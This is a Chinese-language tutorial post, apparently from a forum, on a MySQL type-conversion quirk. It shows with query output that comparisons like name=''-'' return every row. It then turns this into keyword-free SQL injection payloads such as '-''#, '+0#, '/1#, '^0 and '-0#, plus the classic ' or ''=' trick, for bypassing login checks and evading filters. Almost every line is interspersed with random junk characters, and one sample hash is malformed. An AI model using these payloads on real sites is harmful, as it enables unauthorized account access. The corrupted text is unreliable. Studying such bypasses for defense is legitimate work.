我们先来看这样一个场景。
% Q# s7 r Y: M* l9 D: k2 {2 r有以下表结构:
! z0 U' O3 ~! L4 I
) X6 B; P2 e( p% o: e5 |7 zmysql> desc admin;
3 e% p: L2 h7 g6 e+----------+--------------+------+-----+---------+----------------+
7 t' E3 W( t8 t* F| Field | Type | Null | Key | Default | Extra |4 {3 M7 L5 @& T
+----------+--------------+------+-----+---------+----------------+9 {- Q6 Q8 y6 {' a7 |3 w; O2 e
| id | mediumint(9) | NO | PRI | NULL | auto_increment |: b x$ M& h$ C+ i
| name | char(32) | NO | UNI | NULL | |
0 T" F" D: J" D* \| password | char(32) | NO | UNI | NULL | |
( i5 H4 \7 ~; K7 z% Y+----------+--------------+------+-----+---------+----------------+
! j; D* [; O u& U& F W. A, a) ~! Y3 rows in set (0.00 sec)* E9 v0 H( \$ o0 J' U, X" l
执行select * from admin;,成功返回所有记录内容。
" E) n2 J/ i' t4 |
: G7 ^/ W0 L8 N. T/ z5 j; H8 c$ G( m4 Q
+----+--------+----------------------------------+
; t; y1 f+ k; a| id | name | password |
' o' o. D4 Y' L" Z! g C+----+--------+----------------------------------+
0 Z: p( v3 x3 y" D| 1 | admin | c6dabaeeb05f2bf8690bab15e3afb022 |
+ |. L+ s: d, t% ]. N| 2 | pnig0s | 998976f44e2a668k5dc21e54b3401645 |
# K) p' R; H5 W) T7 D4 s S& Y# ^| 4 | n00b | ff80e8508d39047460921792273533a4 |+ L8 t7 X% b3 K, q; y. s- ?: e3 W
+----+--------+----------------------------------+
: A# n# Z/ ?( U$ d' Z3 rows in set (0.00 sec)7 [. C, @* [8 ~ Y f
执行select * from admin where name=”;,没有匹配到任何记录。 . E% F& }. i! P+ u. E% K4 t+ E+ N
' y; u, ]- a8 xmysql> select * from admin where name = '';
& ~$ \( u* e/ EEmpty set (0.00 sec)
& d% c- K3 `) d- s. `3 v$ g2 o2 D那么我们来执行select * from admin where name = ”-”;
, T/ B( _4 B* M4 U0 f6 _
- j6 \' K- Y) G9 c
7 P; Q4 |1 M6 o+----+--------+----------------------------------+
! M/ i. P% A! l$ u7 |, j! L| id | name | password |
3 O- W/ t( u- u2 u9 P v+----+--------+----------------------------------+! ~* r8 U2 r+ v5 e
| 1 | admin | c6dabaeeb05f2bf8690bab15e3afb022 |9 e0 C, E* k# J0 ~2 v) z
| 2 | pnig0s | 998976f44e2a668k5dc21e54b3401645 |
3 H/ l0 C6 |& l$ O" C| 4 | n00b | ff80e8508d39047460921792273533a4 |) X4 q' ~* t7 G: I0 u- K
+----+--------+----------------------------------+8 f, h h% w" h" }' U& S8 g( o' D4 X
3 rows in set, 3 warnings (0.00 sec)
' Y. P% W- j7 E5 ^# a可以看到,也成功返回了所有记录,但是有三个warnings,我们看下警告信息: 4 l, a/ y5 K G7 k% F' a
+ L& @% x' s+ |+ ]4 u0 A9 |, [8 t( l
mysql> show warnings;
0 ?8 v; \- V, i% Q9 Y" }6 b* W3 {+---------+------+------------------------------------------7 B: X9 s! l8 V4 @
| Level | Code | Message
- Y2 k! [ ]: g H+---------+------+------------------------------------------
3 u! L) B8 l& r! n) D+ ^1 Z| Warning | 1292 | Truncated incorrect DOUBLE value: 'admin# f$ X0 b) G0 K4 x
| Warning | 1292 | Truncated incorrect DOUBLE value: 'pnig0s
! `& d4 q/ b. u+ L+ G3 l% x| Warning | 1292 | Truncated incorrect DOUBLE value: 'n00b
; k$ @# g t# N/ u) V+---------+------+------------------------------------------
" ?0 \$ N( R2 s' g- K( g3 rows in set (0.00 sec)( [9 H+ V8 p- O, S7 O% |5 A1 ]
提示截断了错误的DOUBLE值’admin等等,当在一个字符串类型的列中使用数字类型的值时会产生这类警告。 我们单独执行select ”-”;看下结果。
+ y' I% J2 P2 X; o/ x, x) h& v W1 D9 q8 } f% ~. C. D
mysql> select ''-'';: ?$ ]- z1 [' t3 T, A
+-------+, |2 G% q1 c& m2 c' e1 i
| ''-'' |
$ P4 U3 X( S; l( c: W+-------+
6 a5 c# y; @9 c% B) c, s& J| 0 |. t. k/ O% n5 u% b! A3 c
+-------++ p- e# L9 V! g8 `
1 row in set (0.00 sec)/ s1 F4 p, f7 P% n
返回0,也就是说我们查询的每一行的name子段都会和0做对比,这样就会触发一个类型转换,对name字段转换的结果也必然为0:
7 b4 g. q C* P! T" W5 p, v3 w# N( p3 B) k5 V
mysql> select CAST((select name from admin limit 1,1) as DECIMAL);8 G( \3 X9 r3 j$ C, g- x; J! P
+-----------------------------------------------------+
3 a9 ]: ~0 e2 q8 y C) {6 v, }| CAST((select name from admin limit 1,1) as DECIMAL) |
3 r1 v+ C& ^5 h1 J+-----------------------------------------------------+
5 U$ u3 X! d# Y# ^. e; a- V) i6 G/ @3 K| 0 |
z( s2 J: j+ ~1 k7 ]" p- U8 V+ Q! K# u+-----------------------------------------------------+, O [ f1 j* a1 c" H
1 row in set, 1 warning (0.00 sec)3 T, e) P( ?9 C: g7 K* x" F
因此where语句构成了相等的条件,where 0=”=”,记录被返回。
6 Q$ w# i: S: z' \* S; ?8 }: R6 Y" i0 g
SQL注入场景: http://www.sqlzoo.net/hack/ ' O) B r7 t4 N2 O, t4 W
% g) A/ q# [' b
# z! E) {& i. R2 I" u- ^6 V9 X2 _ W9 E# U5 X- o; V+ L
' z3 [; v# g7 f+ z" K9 j如果我们想绕过登录验证,上面已经给出了一个传统的tips:用户名密码均为’ or ”=’ 这样的逻辑和绕过方式很常见,这里不再具体解释了。 ; R) R: D, w# H
/ R% P( T- k& {8 ]+ Q: f; l那么通过这次发现的技巧,可以使用一种相当精巧的方式,且避免使用SQL关键字,来绕过登录。
4 `( O2 ]% U0 Z$ N$ W* e/ q. J O I+ E. G8 c' h8 [
7 y- h7 q2 U9 ]% u9 E, g9 C3 {4 p& C5 F8 K/ \: Q
7 `" H8 X& \0 B, Z' y. B
仅仅在name子段输入’-”#,password留空,即可绕过登录验证。 ^6 l' Q4 I n- \" o$ s: s8 O
( y6 ]0 D7 N# L% k8 O& s) S5 |
' {" ~+ l3 u/ H
' R9 L0 G: E; E3 L
除了”-”,其他运算符”+”,”*”,”^”都会有同样的效果。 再继续进行测试,我们发现只要在闭合单引号的情况系构造查询结果为0的条件即可1 g7 ?& G. ^& l) s
+ v( N5 j( H$ t2 x! L7 l' @
3 @* j- d9 I7 H7 a5 F: R0 u
mysql> select ''/1;$ p/ h+ W+ ^/ y1 c* N$ _
+------+' R( W7 T* o8 P- h6 P) }0 c
| ''/1 |
! B3 x$ U; r7 ]( C- Z2 R+------+
( ? F$ o1 b2 [8 U* s5 Z# R| 0 |, i& U( Y# `- p8 }1 N* V
+------+
1 ?6 a/ n' K- N/ i& V1 row in set (0.00 sec)! F# d2 i* A- k: E; n3 p8 N8 M
类似的”+0,”-0,”*0,”^0均可。 那么刚才的注入环境我们使用以下的精简payload同样可以绕过登录认证: ‘+0#,’/1#,’^0,’-0#等等。
) j a0 P: c- }1 t" H5 c, h5 R7 b* k* k: g! N) `
利用这样一种特性,当目标对注入语句中的SQL关键字进行过滤时,便可通过这样一种方式进行Bypass。
5 h5 z. m( t8 X. q! g& s8 p |
|